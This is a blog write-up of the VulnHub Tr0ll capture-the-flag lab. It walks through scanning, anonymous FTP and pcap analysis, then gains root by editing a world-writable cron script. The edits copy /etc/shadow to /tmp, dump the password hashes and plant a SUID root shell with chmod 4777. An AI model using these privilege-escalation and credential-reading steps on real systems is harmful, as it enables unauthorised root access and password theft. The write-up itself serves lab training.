Core dump overflow

Core dump in progress...

Pentest lab - Tr0ll

| Comments

Next in my lab series will be another machine from VulnHub:

Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.

The goal is simple, gain root and get Proof.txt from the /root directory.

Not for the easily frustrated! Fair warning, there be trolls ahead!

As always, I start with a guns blazing Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
nmap -A -p1-65535 192.168.80.134

Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-30 08:55 EET
Nmap scan report for 192.168.80.134
Host is up (0.00086s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09 23:43 lol.pcap [NSE: writeable]
22/tcp open  ssh     (protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|_  256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/secret
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.47%I=7%D=11/30%Time=547ABF60%P=x86_64-unknown-linux-gnu%
SF:r(NULL,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
MAC Address: 00:0C:29:F8:CC:3D (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms 192.168.80.134

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds

Not an awful lot to start with. First thing, I checked what’s being served on port 80, and of course, there was a troll:

troll

The “secret” doesn’t help much either, other than potentially hinting at the use of steganography, which I am very bad at.

troll2

I also searched for a vsftpd exploit suitable to the 3.0.2 version, which I couldn’t find. So before trying to search for hidden data that might not even exist inside the images, and even if it does, I wouldn’t be able to find it anyway, I’m going to see if there is anything interesting lying around the FTP server.

Logging in with the anonymous/anonymous credentials, I see there is a pcap file waiting:

1
2
3
4
5
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     0            8068 Aug 09 23:43 lol.pcap
226 Directory send OK.

I downloaded it to my machine so I can check it out with Wireshark:

1
2
3
4
5
6
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
226 Transfer complete.
8068 bytes received in 0.05 secs (148.1 kB/s)

Scanning through the packets I noticed something interesting:

secret stuff

And when following the stream, even more interesting tidbits:

tcp stream

So why don’t we see the secret stuff for ourselves! In order to see what’s inside the secret file, I looked at the FTP-DATA packet that comes after requesting the transfer. I highlighted it below and you can see it’s the correct size (147 bytes):

ftp data

If you follow the stream you will see this:

1
2
3
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

Finally, some progress! As an aside, this information could also be obtained just by running strings on the pcap file. Now let’s go back to the browser and see what’s inside that directory. To keep up with the troll theme, there’s a BIN file named roflmao. Again I felt a little discouraged because I have only a rudimentary grasp of binary analysis and reverse engineering at the moment. Running strings on it, the only interesting thing I noticed was this line:

1
Find address 0x0856BF to proceed

If you run it (make it executable or you will get a permission denied error), you will see that it only prints the above line and exits. Time for GDB!

1
2
3
4
5
6
7
8
9
Dump of assembler code for function main:
   0x0804841d <+0>: push   ebp
   0x0804841e <+1>: mov    ebp,esp
   0x08048420 <+3>: and    esp,0xfffffff0
   0x08048423 <+6>: sub    esp,0x10
   0x08048426 <+9>: mov    DWORD PTR [esp],0x80484d0
   0x0804842d <+16>:    call   0x80482f0 <printf@plt>
   0x08048432 <+21>:    leave  
   0x08048433 <+22>:    ret   

I looked around as much as I could, but the program is a really small one and I could find nothing hidden. Also the address didn’t seem to fit in with any of the memory addresses inside the binary, so I thought maybe it’s just a hint for continuing elsewhere. The only place that came to mind was to try for another hidden directory on the web server:

win

Woohoo! We’re on the right track. Now it seems both directories contain a text file with..users and a password?

which pass

gj

I tried connecting to SSH using the password in the Pass.txt files and usernames from the other file. Then I also tried to connect as root, troll, tr0ll, using everything in the lists as password. Manually.. Anyway, when nothing worked, I had to take a break and think that it’s most likely trolling me, as it did in all the previous steps. So, looking at the directory index, it’s apparent that one folder contains the password and the other one a list with potential usernames, from which you have to find the correct one to go with the password. But since I’ve already tried that and failed, I didn’t know what else to do. Now, the Pass.txt file contained a good job message that seemed to be the actual password, but maybe it was just a normal good job..implying that I already found the password. So I tried SSH again, this time using Pass as password..and when that didn’t work, even which_one_lol. This was more wasted effort, so lastly, I literally used the name of the file as password: Pass.txt. And! Combining it with the overflow user…success!! Now I started looking around, but before I could find anything, I’ve been booted by the shell?!

1
2
3
4
5
6
7
Broadcast Message from root@trol                                               
        (somewhere) at 5:45 ...                                                
                                                                               
TIMES UP LOL!                                                                  
                                                                               
Connection to 192.168.80.134 closed by remote host.
Connection to 192.168.80.134 closed.

After more logins, it appears the shell is killed every few minutes. So, this troll might be playing with cron. The only other lead I had so far was a file named lmao.py in the /opt/, but I didn’t have permission to read it. I took a look in the /var/log directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ls /var/log
alternatives.log    cronlog     fail2ban.log    udev
alternatives.log.1  dist-upgrade  fail2ban.log.1  upstart
apache2           dmesg     faillog     vmware-tools-upgrader.log
apt           dmesg.0   fsck        vsftpd.log
auth.log      dmesg.1.gz    installer   vsftpd.log.1
auth.log.1        dmesg.2.gz    kern.log    wtmp
boot.log      dmesg.3.gz    kern.log.1      wtmp.1
bootstrap.log     dmesg.4.gz    lastlog
btmp          dpkg.log      syslog
btmp.1            dpkg.log.1    syslog.1
$ cd /var/log
$ cat cronlog
*/2 * * * * cleaner.py

So, that cleaner.py file seems to be a likely culprit. I searched for it and I found something interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ locate cleaner.py
/lib/log/cleaner.py
/var/tmp/cleaner.py.swp
$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
  os.system('rm -r /tmp/* ')
except:
  sys.exit()
$ cat /var/tmp/cleaner.py.swp
crontab for cleaner.py successful

Ok, so this cleaner deletes all the contents of the /tmp/ folder. The great part about it though, is the wonderful permissions it has:

1
2
$ ls -l /lib/log/cleaner.py
-rwxrwxrwx 1 root root 96 Aug 13 00:13 /lib/log/cleaner.py

So we can modify it to help in compromising the system. First thing I did was add the following code to copy the contents of the /etc/shadow file to a txt file in the /tmp/ folder:

1
2
3
4
with open('/etc/shadow', 'r') as shadow:
    juicy = shadow.read()
with open('/tmp/hashes.txt', 'a') as hashes:
    hashes.write(juicy)

Now we have the password hashes and we could crack them if we wanted:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$ cat /tmp/hashes.txt
root:$6$mdQyunCS$qRhQug5j4xuM2vwsSlFJ0TrAVmfCV5h0VgKjbBp5BN2hL6ySxGL8Tt.qa2GlVotm7DFK7OUG9naqK6Kdf1aEZ.:16292:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::
mail:*:16273:0:99999:7:::
news:*:16273:0:99999:7:::
uucp:*:16273:0:99999:7:::
proxy:*:16273:0:99999:7:::
www-data:*:16273:0:99999:7:::
backup:*:16273:0:99999:7:::
list:*:16273:0:99999:7:::
irc:*:16273:0:99999:7:::
gnats:*:16273:0:99999:7:::
nobody:*:16273:0:99999:7:::
libuuid:!:16273:0:99999:7:::
syslog:*:16273:0:99999:7:::
messagebus:*:16291:0:99999:7:::
troll:$6$9WnrXzBm$ijsblc.QCK1kTlHCxiH5Dt3eUhZgEVaIpkIifyIx6EmPpD03xmIyPD6l/dVlUAE0Q4jGqaiusEkvb3BEDNcs6.:16292:0:99999:7:::
sshd:*:16291:0:99999:7:::
ftp:*:16292:0:99999:7:::
lololol:!:16292:0:99999:7:::
overflow:$6$RSQQWzPh$JB3Jm3liSEjq.ytLU2Hr.N6bTUEgkVtW5KSkCzVzvLf7zBT4eHuc0EUeEUPw3v5epKsZ9mLFfurV6gSUtpcZa.:16292:0:99999:7:::
ps-aux:$6$N8fO8B2w$ABHj.O2jTfIizBfrb0SpgN6VJLDujJ6o9wR4D0b4ZqqlfKQzW1M0xG0uTR4AZW77BFH0rsA2ZxnoGSMdwy3k00:16292:0:99999:7:::
maleus:$6$Y.Ev9AQx$IS.ikFcKj5.natBbOMMP3GiV9LJDjCQaHuvKoEeA1hPjhss8qLzjVPpuSnKysIF261sSnjOfoFjhpo.rO8qDg.:16292:0:99999:7:::
felux:$6$t0WWHdf0$9QYd6dc9XuZo.RwMRCdrzuTPTqaCJ47KAS7p1EitR2LVGJsOqjarTxD67WUhLQvmF3KOFIfgvN3rlw7cfU132.:16292:0:99999:7:::
Eagle11:$6$Pz9WUVEk$PPQQs334rlXCZRRY1w/uullgDaKeIMGNlzUXERsCl7zIrdulDtrcYD74t/mtw0yhqsJJQFXrZ08dpk0gEx0gX1:16292:0:99999:7:::
genphlux:$6$K2gip8vY$jcbwnoeCKqtu.9IkVbBNDJ3TAV0NcVSWgv2U3uYx1e942dcaD1NhxEpBklKAX1NnnrDCw6SU1Fw7vJ6tmOiCM/:16292:0:99999:7:::
usmc8892:$6$MlFBCUvT$YS7ZpyXavI6tGgYJW3fPFRbUlV2yhoHGir26minsRRBTTDf60NIwxi7PP3S8/vePYFBVVuSC0kfyBYeMnHnBO1:16292:0:99999:7:::
blawrg:$6$Pg7SOYWy$Ap9wmycvq0n2iR8CJNKcY/SBUrOqC4Dc8D6whHDnZNp8xqLCB/GF2Et4lHnhHehWkgObxSX5MZWofAc4QQSbj1:16292:0:99999:7:::
wytshadow:$6$Xw3TqkwY$O2Xx5JXO9DXSyqumRCBWa2fk0Z0glVUNty9nKkms4SlAKMtWwmHvNRHiIClPa4SGvCii0fCi5Xxg6gvoZrXhG0:16292:0:99999:7:::
vis1t0r:$6$nVShrZJb$ZAZ9nf4vzddUm1ISPO8gKgYweQopjc/Ta7jbEacYbDVOG1g8Y3LHwiJhU2NsDJljkn2Oc4xPJPeMpox5jSBHd0:16292:0:99999:7:::
root:$6$mdQyunCS$qRhQug5j4xuM2vwsSlFJ0TrAVmfCV5h0VgKjbBp5BN2hL6ySxGL8Tt.qa2GlVotm7DFK7OUG9naqK6Kdf1aEZ.:16292:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::
mail:*:16273:0:99999:7:::
news:*:16273:0:99999:7:::
uucp:*:16273:0:99999:7:::
proxy:*:16273:0:99999:7:::
www-data:*:16273:0:99999:7:::
backup:*:16273:0:99999:7:::
list:*:16273:0:99999:7:::
irc:*:16273:0:99999:7:::
gnats:*:16273:0:99999:7:::
nobody:*:16273:0:99999:7:::
libuuid:!:16273:0:99999:7:::
syslog:*:16273:0:99999:7:::
messagebus:*:16291:0:99999:7:::
troll:$6$9WnrXzBm$ijsblc.QCK1kTlHCxiH5Dt3eUhZgEVaIpkIifyIx6EmPpD03xmIyPD6l/dVlUAE0Q4jGqaiusEkvb3BEDNcs6.:16292:0:99999:7:::
sshd:*:16291:0:99999:7:::
ftp:*:16292:0:99999:7:::
lololol:!:16292:0:99999:7:::
overflow:$6$RSQQWzPh$JB3Jm3liSEjq.ytLU2Hr.N6bTUEgkVtW5KSkCzVzvLf7zBT4eHuc0EUeEUPw3v5epKsZ9mLFfurV6gSUtpcZa.:16292:0:99999:7:::
ps-aux:$6$N8fO8B2w$ABHj.O2jTfIizBfrb0SpgN6VJLDujJ6o9wR4D0b4ZqqlfKQzW1M0xG0uTR4AZW77BFH0rsA2ZxnoGSMdwy3k00:16292:0:99999:7:::
maleus:$6$Y.Ev9AQx$IS.ikFcKj5.natBbOMMP3GiV9LJDjCQaHuvKoEeA1hPjhss8qLzjVPpuSnKysIF261sSnjOfoFjhpo.rO8qDg.:16292:0:99999:7:::
felux:$6$t0WWHdf0$9QYd6dc9XuZo.RwMRCdrzuTPTqaCJ47KAS7p1EitR2LVGJsOqjarTxD67WUhLQvmF3KOFIfgvN3rlw7cfU132.:16292:0:99999:7:::
Eagle11:$6$Pz9WUVEk$PPQQs334rlXCZRRY1w/uullgDaKeIMGNlzUXERsCl7zIrdulDtrcYD74t/mtw0yhqsJJQFXrZ08dpk0gEx0gX1:16292:0:99999:7:::
genphlux:$6$K2gip8vY$jcbwnoeCKqtu.9IkVbBNDJ3TAV0NcVSWgv2U3uYx1e942dcaD1NhxEpBklKAX1NnnrDCw6SU1Fw7vJ6tmOiCM/:16292:0:99999:7:::
usmc8892:$6$MlFBCUvT$YS7ZpyXavI6tGgYJW3fPFRbUlV2yhoHGir26minsRRBTTDf60NIwxi7PP3S8/vePYFBVVuSC0kfyBYeMnHnBO1:16292:0:99999:7:::
blawrg:$6$Pg7SOYWy$Ap9wmycvq0n2iR8CJNKcY/SBUrOqC4Dc8D6whHDnZNp8xqLCB/GF2Et4lHnhHehWkgObxSX5MZWofAc4QQSbj1:16292:0:99999:7:::
wytshadow:$6$Xw3TqkwY$O2Xx5JXO9DXSyqumRCBWa2fk0Z0glVUNty9nKkms4SlAKMtWwmHvNRHiIClPa4SGvCii0fCi5Xxg6gvoZrXhG0:16292:0:99999:7:::
vis1t0r:$6$nVShrZJb$ZAZ9nf4vzddUm1ISPO8gKgYweQopjc/Ta7jbEacYbDVOG1g8Y3LHwiJhU2NsDJljkn2Oc4xPJPeMpox5jSBHd0:16292:0:99999:7:::

But I am not a fan of cracking passwords, if it can be avoided. And in this case, we still have the other Python file to check. So I modified the cleaner code again:

1
2
3
4
with open('/opt/lmao.py', 'r') as lmao:
    lol = lmao.read()
with open('/tmp/lol.py', 'a') as rofl:
    rofl.write(lol)

And after a little bit of waiting, we finally have the culprit that is killing our shells:

1
2
3
4
5
6
7
$ cat /tmp/lol.py
#!/usr/bin/env python
import os

os.system('echo "TIMES UP LOL!"|wall')
os.system("pkill -u 'overflow'")
sys.exit()

Ok, now let’s finish by getting a shell. We can leverage the cleaner file to copy the shell executable and give it outrageously lax permissions and SUID bit. Note that I’m not saying bash, because the shell being used here is the sh shell.

1
2
$ echo $SHELL
/bin/sh

Here is the simple code for copying the shell file to /tmp/ and letting everyone run it with root permissions:

1
2
3
4
import os

os.system('cp /bin/sh /tmp/trolled')
os.system('chmod 4777 /tmp/trolled')

Now just wait for cron. Check the loot and pwn the troll!

1
2
3
4
5
6
7
8
9
10
11
12
$ ls -l /tmp/trolled
-rwsrwxrwx 1 root root 112204 Feb  3 04:50 /tmp/trolled
$ /tmp/trolled
# whoami
root
# ls /root/
proof.txt
# cat /root/proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc

Alternatively, since the original objective was only to read the proof file, you can just use the cleaner file to do it, providing you know the name of the proof file:

1
2
3
4
with open('/root/proof.txt', 'r') as proof:
    win = proof.read()
with open('/tmp/proof.txt', 'a') as pwned:
    pwned.write(win)

And here it is:

1
2
3
4
5
$ cat /tmp/proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc

Fortune cookie:

He that breaks a thing to find out what it is has left the path of wisdom. — J.R.R. Tolkien

Random rant

I started this post in 2014 and completed it in 2015! Who’s the troll now?

Been busy and inactive for a couple of months, but I am back now and hopefully without such long pauses between posts.

Comments